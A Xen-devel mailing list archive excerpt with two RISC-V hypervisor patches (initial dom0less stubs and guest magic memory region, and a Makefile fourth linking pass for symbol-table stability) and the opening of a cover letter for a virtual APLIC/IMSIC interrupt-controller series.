	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v6 22/23] xen/riscv: add initial dom0less infrastructure support
Date: Mon, 20 Jul 2026 18:00:03 +0200
Message-ID: <0b381795a3a7c2d09088c1fae59d3a19099069c2.1784559209.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1784559209.git.oleksii.kurochko@gmail.com>
References: <cover.1784559209.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-ef75cf/1784563254-3C212AE4-EE3B00B7/10/73395122804
X-purgate-type: spam
X-purgate-size: 7283

Enable dom0less support for RISC-V by selecting HAS_DOM0LESS and
providing the minimal architecture hooks required by the common
dom0less infrastructure.

Add stub implementations for architecture-specific helpers used when
building domains from the device tree. These allow the generic
dom0less code to build and let a basic DomU be constructed on RISC-V.
construct_hwdom() and make_hypervisor_node() are still stubs returning
an error: Dom0/hwdom construction isn't supported yet, and the
hypervisor node generation (needed by domains with
DOM0LESS_ENHANCED_NO_XS set) is not implemented. Both are marked with
a TODO and are not reached by the currently supported configurations.

Provide missing helpers and definitions required by the domain
construction code, including domain bitness helpers and the
p2m_set_allocation() prototype.

Additionally define the guest magic memory region (GUEST_MAGIC_BASE /
GUEST_MAGIC_SIZE) in asm/guest-layout.h. The base is arbitrary; the
only constraint is that the region must not overlap guest RAM or the
emulated device regions. It is placed in the unused gap below
GUEST_RAM0_BASE (0x80000000); the constraints are documented next to
the #define-s.

A separate region for grant tables will be introduced at the same time as
the introduction of the grant table for RISC-V.

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
---
Changes in v6:
 - Acked-by: Jan Beulich <jbeulich@suse.com>.
---
Changes in v5:
 - Reword the comment above defintion of GUEST_MAGIC_BASE.
 - Shrunk the size of GUEST_MAGIC_SIZE to 2Mb as looking on the Arm
   only 4 pages are used and there is no technical reason to have 16Mb for
   that region. (Maybe in case of Arm it is connected that Arm has these
   definitions in public header so more space is reserved to not "break"
   public API in future)
 - Update the commit message with a remark about grant table region
   in guest-layout.h.
---
Changes in v4:
  - Reword the description: the stubs do not let dom0less fully "run"
    since construct_hwdom() and make_hypervisor_node() return an error;
    spell out these limitations instead.
  - Add a TODO comment to construct_hwdom() explaining that Dom0/hwdom
    construction isn't supported yet.
  - Add a TODO comment to make_hypervisor_node() explaining that
    returning an error breaks building of domains with
    DOM0LESS_ENHANCED_NO_XS set, and why that is harmless for now.
  - Document the constraints on GUEST_MAGIC_BASE/GUEST_MAGIC_SIZE next
    to the #define-s and drop the QEMU-based justification (QEMU is not
    involved); the base is simply an arbitrary non-overlapping address.
Changes in v3:
  - Add /* Nothing specific to do for now */ comment to
    arch_handle_passthrough_prop().
  - Use _ULL() instead of xen_mk_ullong() for GUEST_MAGIC_BASE and
    GUEST_MAGIC_SIZE (xen_mk_ullong() is intended for public headers only).
  - Fix GUEST_MAGIC_BASE from 0x39000000 to 0x79000000 to avoid the
    QEMU RISC-V virt machine PCIE_ECAM range.
  - Drop CONFIG_STATIC_MEMORY=n from the CI randconfig; now redundant
    since STATIC_MEMORY depends on HAS_STATIC_MEMORY which RISC-V does
    not select.
Changes in v2:
  - Move declaration of p2m_set_allocation() to p2m-common.h.
  - Add __initdata for max_init_domid and drop initalizer for it.
  - Add CONFIG_STATIC_MEMORY=n to CI's randconfig to avoid
    compilation error because of guest_physmap_add_pages()
    isn't provided.
---
 xen/arch/riscv/Kconfig                    |  2 ++
 xen/arch/riscv/dom0less-build.c           |  7 ++++++
 xen/arch/riscv/domain-build.c             | 28 +++++++++++++++++++++++
 xen/arch/riscv/include/asm/guest-layout.h | 12 ++++++++++
 4 files changed, 49 insertions(+)

diff --git a/xen/arch/riscv/Kconfig b/xen/arch/riscv/Kconfig
index 48520588fe40..d8a348c0cf07 100644
--- a/xen/arch/riscv/Kconfig
+++ b/xen/arch/riscv/Kconfig
@@ -6,6 +6,8 @@ config RISCV
 	select GENERIC_BUG_FRAME
 	select GENERIC_UART_INIT
 	select HAS_DEVICE_TREE_DISCOVERY
+	select HAS_DOM0LESS
+	select HAS_DOMAIN_TYPE
 	select HAS_EX_TABLE
 	select HAS_PMAP
 	select HAS_UBSAN
diff --git a/xen/arch/riscv/dom0less-build.c b/xen/arch/riscv/dom0less-build.c
index d1a51b92936a..0801d7e25059 100644
--- a/xen/arch/riscv/dom0less-build.c
+++ b/xen/arch/riscv/dom0less-build.c
@@ -102,3 +102,10 @@ int __init arch_parse_dom0less_node(struct dt_device_node *node,
 
     return 0;
 }
+
+int __init arch_handle_passthrough_prop(struct kernel_info *kinfo,
+                                        struct dt_device_node *node)
+{
+    /* Nothing specific to do for now */
+    return 0;
+}
diff --git a/xen/arch/riscv/domain-build.c b/xen/arch/riscv/domain-build.c
index 6b14dce9c0a6..04a8d3c244cb 100644
--- a/xen/arch/riscv/domain-build.c
+++ b/xen/arch/riscv/domain-build.c
@@ -175,9 +175,37 @@ int __init make_cpus_node(const struct domain *d, struct kernel_info *kinfo)
     return res;
 }
 
+int __init construct_hwdom(struct kernel_info *kinfo,
+                           const struct dt_device_node *node)
+{
+    /*
+     * TODO: Dom0/hwdom construction isn't supported on RISC-V yet, so this
+     * is a stub returning an error. It must be implemented before a hardware
+     * domain can be built from the device tree.
+     */
+
+    return -EOPNOTSUPP;
+}
+
 int __init make_timer_node(const struct kernel_info *kinfo)
 {
     /* There is no need for timer node for RISC-V. */
 
     return 0;
 }
+
+int __init make_hypervisor_node(struct domain *d,
+                                const struct kernel_info *kinfo,
+                                int addrcells, int sizecells)
+{
+    /*
+     * TODO: Generating the hypervisor node isn't implemented yet. Returning
+     * an error here breaks building of any domain (DomU included) whose
+     * dom0less_feature has DOM0LESS_ENHANCED_NO_XS set. This is harmless for
+     * now because Dom0/hwdom construction isn't supported on RISC-V yet
+     * either, and no RISC-V DomU sets that flag, so this path is never taken.
+     * It must be implemented before DOM0LESS_ENHANCED_NO_XS is used.
+     */
+
+    return -EOPNOTSUPP;
+}
diff --git a/xen/arch/riscv/include/asm/guest-layout.h b/xen/arch/riscv/include/asm/guest-layout.h
index 90603f06bb91..ceed9125e7e2 100644
--- a/xen/arch/riscv/include/asm/guest-layout.h
+++ b/xen/arch/riscv/include/asm/guest-layout.h
@@ -32,4 +32,16 @@
 #define GUEST_RAM_BANK_BASES   { GUEST_RAM0_BASE, GUEST_RAM1_BASE }
 #define GUEST_RAM_BANK_SIZES   { GUEST_RAM0_SIZE, GUEST_RAM1_SIZE }
 
+/*
+ * The guest magic region holds the Xen-reserved pages mapped into the
+ * guest's physical address space. The only real constraint on
+ * GUEST_MAGIC_BASE/SIZE is that the region must not overlap guest RAM
+ * (the GUEST_RAMx banks) or the emulated device regions defined above;
+ * the exact base is otherwise arbitrary. Here it is placed in the unused gap
+ * below GUEST_RAM0_BASE (0x80000000), but a hole after a RAM bank would work
+ * equally well.
+ */
+#define GUEST_MAGIC_BASE  _UL(0x79000000)
+#define GUEST_MAGIC_SIZE  _UL(0x00200000)
+
 #endif /* ASM_RISCV_GUEST_LAYOUT_H */
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 16:01:00 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 16:01:00 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367029.1616924 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqQO-0003DX-J2; Mon, 20 Jul 2026 16:01:00 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367029.1616924; Mon, 20 Jul 2026 16:01:00 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqQO-0003B6-41; Mon, 20 Jul 2026 16:01:00 +0000
Received: by outflank-mailman (input) for mailman id 1367029;
 Mon, 20 Jul 2026 16:00:57 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wlqQL-0002Vb-2P
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:00:57 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqQK-00AdLl-Ei
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 18:00:56 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e462d-5cb7-0a2a0a5109dd-0a2a4505c1fe-26
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:00:56 +0200
Received: from [209.85.221.46] (helo=mail-wr1-f46.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e4638-4cb1-0a2a45050019-d155dd2ed001-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:00:56 +0200
Received: by mail-wr1-f46.google.com with SMTP id
 ffacd0b85a97d-4799b3f7c83so7492535f8f.2
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:00:56 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f63edd7d3sm30084673f8f.25.2026.07.20.09.00.53
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 20 Jul 2026 09:00:54 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784563256; x=1785168056; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:mime-version:references
         :in-reply-to:message-id:date:subject:cc:to:from:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=5RL+fNVvhfSSFDFHK7c1euVp7Huy4szKsBRgrEGEPIw=;
        b=bo5HY5+pqP7n/rTSHGkUBzPp+UXR4790XxrLRlsZo9RpjOXeNhYet8BHQT3fslCMy6
         qKeLkgHn31EW1Zz/BLxr4xvN5j8RI2xPny7NibKg9Qgvo77FdnRTos52h/hdiJBacLV+
         LlMOQZzSwh9Pa1sEzVWFuQxu1znt0jfQ99/35ADRhKLg4b2ytrb/C7AtmTze5Hp9EEjQ
         oCTr3Lzk/Gc3g2x0wP0G+Qz+vMB5blxiKeglIS9dPWEXz9zGwq1OdUxTD+FgzmSSIMN6
         eKlkLbiRfj0emwnle7pMjn5AKAJkl5O9WgUqVlCfcKLZmzZjE2seJWOqtq72SHOwVVYr
         KFFA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784563256; x=1785168056;
        h=content-transfer-encoding:content-type:mime-version:references
         :in-reply-to:message-id:date:subject:cc:to:from:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=5RL+fNVvhfSSFDFHK7c1euVp7Huy4szKsBRgrEGEPIw=;
        b=Vp9O07gWILQ6NzhNGhm6jtPJNP3bDEhMkeLFcVNkM31CVUecfxdzZvV7GQIfPgkwMM
         Zf25oAwRpWw6vCSIxeylkOpUFjK1RzNr3sdeRrqrWMiMxwvsV6e8uMWa2uAtm96+fEhU
         uaNYmspPntpJ5EoNxo++sbHQ9HTc2UzyzXkdp9u7BawTq9AXLrgTvqMXFDm1OfeuF1Lu
         4QDQtCOGKqhRNr4d79DL+IiJwIh1RsfD+uC1XRXzydGnpP3qVq+UvqxrEXMfP0WE0f+B
         GI17/vpRhEPqRsPMP7lKYVM8giippd6mleO0kO7Hhzfaixw6cMGLYTNcFoJMNx2Dj6yt
         iRXA==
X-Gm-Message-State: AOJu0Yx7asguPJ4YYvR4NeZpZuQusAsQMOPCpBpANXofS8aVgZdUrW4Y
	rPH/qTz/lMuovFRn7NHRmxNzdBjqeHFetyPriKtovDb/2t4xCly95lmD+IFAyg==
X-Gm-Gg: AR+sD13vTDrR99QX3rjTdfQRBANjTJ/wOfx0znv/HwCNCZAl3rkbsH90vdpp2h8TZKY
	KOEpZxvWC1VjCgZDblhg3wL6I4W3SA8YeLMZzEfBCcceoLM53E8L4ueCmf4AyvbVJ1SYlbW2Blx
	xPCDHvocstIKeq5YfNUcS9YJ82XpsN3iSGo3G7VbvclNojVyYnwNPVmOk2JgUuzs3Lk5lwJFTZR
	hAQ3JVVd3puXJ7qJfX0Bjj+1W7C17jjaC+dNXJzBsKV3f+Gc0eJ2jo+sRIXeeuUIgL1ZUPHkdtz
	opFcWiidfOKqk0xLM3UB+lGlRedYkGu7bW/wtFJdVYp2xGvkiMtnDiNbUOc/BU8lhf5c6Nvl6hR
	Bdy45SYi4/eZj/uQ8TYhJFUnupJ1x/aNB67WOMPjPD7SNCpkLya7CZ/zUP5IweeENE7DnFWRpTJ
	np1OSIEmOubgGsXU94I8iMqC29uP+P5pmsy94NvpE/paHP6xs=
X-Received: by 2002:a5d:5d0e:0:b0:46e:8226:96ba with SMTP id ffacd0b85a97d-47f623036aamr18227330f8f.13.1784563255708;
        Mon, 20 Jul 2026 09:00:55 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v6 23/23] xen/riscv: do a 4th linking pass if necessary
Date: Mon, 20 Jul 2026 18:00:04 +0200
Message-ID: <ff85121d7aea88f5e1e8eec729a11512f22c168c.1784559209.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1784559209.git.oleksii.kurochko@gmail.com>
References: <cover.1784559209.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-c201ff/1784563256-247132A1-BF3EEEF7/10/73395122804
X-purgate-type: spam
X-purgate-size: 2901

Embedding the symbol table can shift sections and flip relaxation
decisions, changing code size and thus the set of emitted tools/symbols
(e.g. gap end markers).  Re-link with a regenerated table when its
size differs from the previous pass.

This takes the same remedy as commit 35de7285d508 ("Arm: do a 4th
linking pass if necessary"), though the underlying cause differs:
here no symbol (dis)appears from the ELF symbol table; instead the
set of end markers emitted by tools/symbols legitimately changes,
because want_symbol_end() depends on code layout, and layout differs
between passes due to linker relaxation.

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
---
I faced this issue again in downstream:
  https://gitlab.com/xen-project/people/olkur/xen/-/jobs/15171254706

Root cause: embedding the symbol table shifts .init.text far enough
that 4 JAL call sites from .text into .init.text (e.g. to
alloc_boot_pages()) exceed the Â±1MB range the linker can relax, so
they fall back to auipc+jalr, growing .text by 16 bytes total. That
shift moves simple_strtoull() by the same amount, closing a 16-byte
alignment gap that used to precede turn_on_mmu(). Since
want_symbol_end() no longer sees a gap, tools/symbols stops emitting
the synthetic "end of symbol" marker for simple_strtoull(), which is
why symbols_addresses/symbols_names differ in size between pass 1
and pass 2.
---
Changes in v6:
 - Update the commit message and footer after it.
---
Changes in v5:
 - New patch.
---
---
 xen/arch/riscv/Makefile | 16 ++++++++++++++--
 1 file changed, 14 insertions(+), 2 deletions(-)

diff --git a/xen/arch/riscv/Makefile b/xen/arch/riscv/Makefile
index fc6b34661111..046f73f4d87c 100644
--- a/xen/arch/riscv/Makefile
+++ b/xen/arch/riscv/Makefile
@@ -50,9 +50,21 @@ $(TARGET)-syms: $(objtree)/prelink.o $(obj)/xen.lds
 		| $(objtree)/tools/symbols $(all_symbols) --sysv --sort \
 		> $(dot-target).2.S
 	$(MAKE) $(build)=$(@D) $(dot-target).2.o
-	$(call compare-symbol-tables, $(dot-target).1.o, $(dot-target).2.o)
+	if ! { $(call compare-symbol-tables, $(dot-target).1.o, $(dot-target).2.o) >/dev/null; }; \
+	then \
+		set -e; \
+		$(LD) $(XEN_LDFLAGS) -T $(obj)/xen.lds $< $(build_id_linker) \
+		    $(dot-target).2.o -o $(dot-target).2; \
+		$(NM) -pa --format=sysv $(dot-target).2 \
+			| $(objtree)/tools/symbols $(all_symbols) --sysv --sort \
+			> $(dot-target).3.S; \
+		$(MAKE) $(build)=$(@D) $(dot-target).3.o; \
+		$(call compare-symbol-tables, $(dot-target).2.o, $(dot-target).3.o); \
+	else \
+		ln -sf $(dot-target).2.o $(dot-target).3.o; \
+	fi
 	$(LD) $(XEN_LDFLAGS) -T $(obj)/xen.lds $< $(build_id_linker) \
-	    $(dot-target).2.o -o $@
+	    $(dot-target).3.o -o $@
 	$(NM) -pa --format=sysv $@ \
 		| $(objtree)/tools/symbols --all-symbols --xensyms --sysv --sort \
 		> $@.map
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 16:02:30 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 16:02:30 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367138.1616944 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqRp-0007IO-Kp; Mon, 20 Jul 2026 16:02:29 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367138.1616944; Mon, 20 Jul 2026 16:02:29 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqRp-0007IH-Hu; Mon, 20 Jul 2026 16:02:29 +0000
Received: by outflank-mailman (input) for mailman id 1367138;
 Mon, 20 Jul 2026 16:02:28 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wlqRo-0007Hb-JY
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:02:28 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqRn-00CH1I-PR
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 18:02:27 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e4689-bab6-0a2a0a5309dd-0a2a4509c2b8-28
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:02:27 +0200
Received: from [209.85.128.47] (helo=mail-wm1-f47.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e4693-be1a-0a2a45090019-d155802fb0ea-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:02:27 +0200
Received: by mail-wm1-f47.google.com with SMTP id
 5b1f17b1804b1-4954d29264cso13154365e9.2
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:02:27 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-49563eee22esm31331765e9.1.2026.07.20.09.02.25
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 20 Jul 2026 09:02:26 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784563347; x=1785168147; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:message-id:date:subject:cc
         :to:from:from:to:cc:subject:date:message-id:reply-to:content-type;
        bh=2xa6+dQ11deO/ZHG6Wg1wVnwIRhJcIvRdzhiY0swYLs=;
        b=kBVhjvl/VwziSMXBxz0Qdft7dsOoCg5lcREzg7mjllpoTRY/LqOGizOHUhxuqkOpkd
         k+yGxOW2fX7Sroy2iKG0UzyZgI2npAgD5XyoZPCpd/qW2L6vkIsuSh+lf/3jOhtXJNGo
         rL13RAGdmqmPEdbk00GPsoBI5WUCjIFUF3Lf+BdbRdDqOpxBhWxAwF8xUbnGr5hjFRd/
         KrYT/ev+8IB8I+9nXziFAwzk0y6es/ilXowkRyWKpgM/KQxksUSXT/d2f7qGUJ0rK+Qx
         WdkpPCmzpQ2Q3nAyCf4KA1D4NonCEqKjobwIjPGgr0dRyB0TE+W7rAXTe9kgha+vuMLj
         dgXg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784563347; x=1785168147;
        h=content-transfer-encoding:mime-version:message-id:date:subject:cc
         :to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=2xa6+dQ11deO/ZHG6Wg1wVnwIRhJcIvRdzhiY0swYLs=;
        b=Y102Tn0X9bsKf3Fv0+CHTc+xzScOIC7R25VW12K8mRtaqCQjVkt2mV5KZpwDq7cuNT
         P5mIcqZIca6MBlv8kfBa6zmivsiQjVneJo7IhOUswcc41Urc+3vX2OH3V+vz+l6BYoL+
         K3L9v1Mcg7DR84ldqEDAMXATlnIKBUiLAZ9u+pW0ArdCYGWae2U5tNzVNerdnTwtwChW
         ToueClawE3hrxd8D7l//iJc0valjo/T3pomqAntCdTslH0bJn2xEmSGYJL5WMXeKsBay
         RhXDIG5+dDi1SAHLx95Ia/q2QGmJ2WvbksNx6l3sSqkz74HcPhpw/gshNQGLAUf8l2sq
         QuDQ==
X-Gm-Message-State: AOJu0YwnOMtYd2UYImW4iLADfGO0ayXkhnM/MmTADyuHzvlm4v47i8qp
	zMaXtlTVxsFhhbFCKV/QHK1VywOkexnoThkS+bKz1L8SI+blRDVP4uNfRG+wwQ==
X-Gm-Gg: AfdE7cnYqHRs8u/9z2WrWK0CSxdvNbbIUGpyzIGtFCqZGsDyu60Nnjmuwe68PnpmzUv
	TLFRbsO7ZvTyIu0B+3ffqaRFzH8knHYcnxreAzMF7lDLRswXYUVaQghzB8iNyEmyfDH/19oE/8+
	2TAFusoCkw0acCHQlC8LHsyV2aRGmiigIWzWpMuBmGB6kGeIybjef1cp8oKQaP8gAQUJOWhtnUG
	vLH/08kKU1aWCHI50QFpULlCEXVWElK9MIDFPtkfNoBYWvETQ+rvS/Vv/Hyfgu9XYpjAGoBjreZ
	OF4C6PDLnBEej4tK9+uihBBpS1MB4KbqjB+u8U98jep9ZYY4Xv1QC1euXeGzkNGnr0ZywlfQ0em
	2QJmGZaSxktVqXDG1zy8b1hsI9jyFSsY1KEHNxW4DBGNGRorAtAdcA9/AFMfkkwHDmdmMvflQtW
	5q4MQgbcoDm2/1exufBYa13kQWPGLCKxJk48JUyCDLIHnDSw8=
X-Received: by 2002:a05:600c:4c2a:b0:493:c535:3934 with SMTP id 5b1f17b1804b1-4954a51fc5fmr126136265e9.36.1784563346894;
        Mon, 20 Jul 2026 09:02:26 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v1 00/17] [RISC-V] virtual interrupt controller (vAPLIC/vIMSIC) support
Date: Mon, 20 Jul 2026 18:01:58 +0200
Message-ID: <cover.1784560663.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-bad1c0/1784563347-3AEDE034-1F00645B/10/73395122804
X-purgate-type: spam
X-purgate-size: 6285

Hi all,

This series adds the initial virtual interrupt controller (vINTC) support
for RISC-V guests in Xen, based on the Advanced Interrupt Architecture
(AIA): a virtual APLIC (vAPLIC) in MSI mode backed by a virtual IMSIC
(vIMSIC) using hardware guest interrupt files.

Rather than emulating APLIC in direct-delivery mode (which requires
trap-and-emulate for every interrupt and is costly), the series targets
IMSIC from the start. AIA lets a hart implement several "guest interrupt
files" (up to GEILEN), so external interrupts can be delivered to a vCPU
directly by hardware via the VGEIN field of hstatus, without a hypervisor
round-trip. Xen only has to emulate the APLIC MMIO programming interface
and route the guest's intent onto the physical MSI topology; interrupt
delivery itself stays in hardware.

The work breaks down into a few logical blocks:

Physical APLIC/AIA groundwork (patches 1-3)
  - Correctly track IRQ_DISABLED across runtime enable/disable and order
    the ->status update against the IMSIC CSR write.
  - Per-pCPU VGEIN (guest interrupt file) allocator: assign/release a
    hardware guest file to a vCPU and program hstatus.VGEIN.
  - Add the missing APLIC register offsets/masks needed by both the
    physical and virtual APLIC code (no functional change).

Device-agnostic MMIO dispatch + vAPLIC emulation (patches 4-5)
  - A per-domain MMIO handler table modelled on Arm's framework, so
    emulated devices self-register their GPA ranges and the fault path
    stays agnostic via a single try_handle_mmio() entry point.
  - vAPLIC MMIO read/write emulation. Writes are gated by the domain's
    authorised-IRQ bitmap so a guest cannot touch interrupts it does not
    own, and TARGET writes are translated from virtual to physical
    hart/guest-file indices. Delegation (SOURCECFG.D) is not yet
    supported.

vIMSIC guest interrupt files and state (patches 6-9)
  - Stage-2 map a vCPU's physical guest interrupt file to the fixed
    per-vCPU GPA page the guest expects at offset 0.
  - vcpu_aia_init(): assign a VGEIN, map its guest file and record the
    IMSIC state as a consistent unit.
  - IMSIC state save/restore (currently tracking which pCPU owns the
    guest file, needed because the pCPU id is part of the MSI address).
  - has_msi_support() helper to decide whether IMSIC state has to be
    saved/restored.

vINTC state save/restore plumbing (patches 10-11)
  - vintc_state_{save,restore}() wrappers over new store/restore hooks in
    struct vintc_ops, and the vAPLIC implementation of those hooks. No
    callers are wired up yet; the context-switch calls arrive with vCPU
    context switch support.

Trap and instruction emulation infrastructure (patches 12-17)
  - Extend the exception-table format with type/data fields and add
    EX_TYPE_TRAP_INFO so fixups can capture sepc/scause/stval.
  - riscv_vcpu_unpriv_read() (HLV/HLVX) to read guest memory/instructions
    safely, and riscv_vcpu_trap_redirect() to forward a synchronous trap
    back into the guest's VS-mode handler.
  - A guest page-fault handler that decodes the trapped load/store
    instruction (HTINST, or an unprivileged fetch as a fallback) and
    dispatches the MMIO access through try_handle_mmio().

Note on versioning: the series is posted as v1 as a freshly split-out
series, but several patches carry v2/v3 changelogs because they were
previously circulated as part of a larger another patches [1] from which the
current depends.

CI tests: https://gitlab.com/xen-project/people/olkur/xen/-/pipelines/2690874319

[1] https://lore.kernel.org/xen-devel/cover.1784559209.git.oleksii.kurochko@gmail.com/T/#t

Oleksii Kurochko (17):
